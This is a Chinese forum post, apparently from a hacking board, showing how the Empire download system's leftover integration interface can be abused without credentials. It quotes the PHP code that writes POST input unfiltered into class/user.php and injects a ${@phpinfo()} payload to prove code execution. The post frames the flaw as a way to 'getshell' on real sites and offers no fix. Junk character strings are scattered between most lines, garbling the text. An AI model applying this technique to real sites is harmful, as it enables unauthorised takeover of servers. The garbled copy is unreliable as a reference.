这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
9 p+ g! \- @1 [" J5 G- p1 [! b' q+ k6 ?/ }5 i: L5 C
7 X% E* W# q5 W: I; H% H3 d* i这是帝国的一套下载系统 如图
3 P$ J7 m o- x; J9 m& K5 z5 _ps(不需要任何账户和密码,直接写shell) % Z P6 K) E( |0 E6 u4 g9 J+ s- D% w
由于很多站是由于下载要整合discuz 等等一些论坛....
: [% q' J h6 a& ~
/ ]+ u) [. G) [8 g而帝国他又有一个万能接口,如图
9 r: V' w; H1 w/ z- _2 k5 V7 M" W/ Z1 _
1 a0 B# y" C. \& a; T
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
. S3 h& b; {4 X* I. r7 b# q. f$ \
* j+ t% T7 W: b/ n当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
: K" z. Z+ _. s, }' c" W. A& C
* `5 Y" X7 S% d! d/ z: y$ M在data/fun.php中的15行7 |9 W/ P" S# }5 w
5 {' X( k/ q' j! M/ n9 M' p
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
: D7 {* D/ u' c: M17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干1 n, G# d. C; m; V- K4 P
% {+ y4 Y2 i: A. H5 ^! F7 ~9 N
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
1 ^9 ?% H* R- S) @4 ~7 a% ?8 u! `1 }
他将传进来的变量进行了切割,然后赋给了$filetext
/ [1 U6 k$ b: u
: l0 \- O* Z1 P然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
+ n1 t( x4 s8 b r; j" ~& ~5 |2 n% D6 R A- [0 X/ k$ q
我们看看写入的结果,随便填一个
7 {5 \. J8 L- z' f" v1 P8 o0 {. U! N* h" M- ]1 `1 ?* A C) H' F6 I
" t8 p' t6 ^' Y) z1 s: @" ^
# c, i8 {+ o7 i9 t; g7 E
& O0 y# I( o. \# O" o% Z
# ?+ O: n, h2 H2 K( x( P Q
4 ~ ]! w' V6 M( v- F
) p0 [0 K' Z: v" A& |4 @8 a
; e' J7 u5 J' m
+ Q. t- r( @0 O' Q
9 S3 m- K1 G+ I( u4 f/ n. b( N5 B2 k
* z! M0 I8 ]' l
# U" ~: o' g1 y3 B! H" y V! Z3 @ q! f4 `0 }& P4 B, ^. c
8 q7 R. ~; {% @4 c( S
, ?" Q) X! Q" |! o" e( W! i; C( f2 M5 U6 C
8 Z* \: s' p0 E Q6 S4 h
' i4 W9 K# `* J
' A( {8 _( V9 G/ M; r
& S F# e. T, `, ^9 E3 M所以我们淫荡点,写个${@phpinfo()}试试 9 a% s" j. N0 B i7 B0 m/ b
然后访问以下class/user.php这个文件
) s7 d( n0 C: j" }* E日了吧
$ t' t0 v0 M1 Z, b; w
3 K9 B# o. s- ?8 V# ~0 \
' V9 ? M+ w9 \' o
7 H" Z4 @4 W3 I9 o* ~, Z1 O9 T) ~9 ? q* Y, u
: q: j$ ?: _2 V% d1 Z2 w) L
|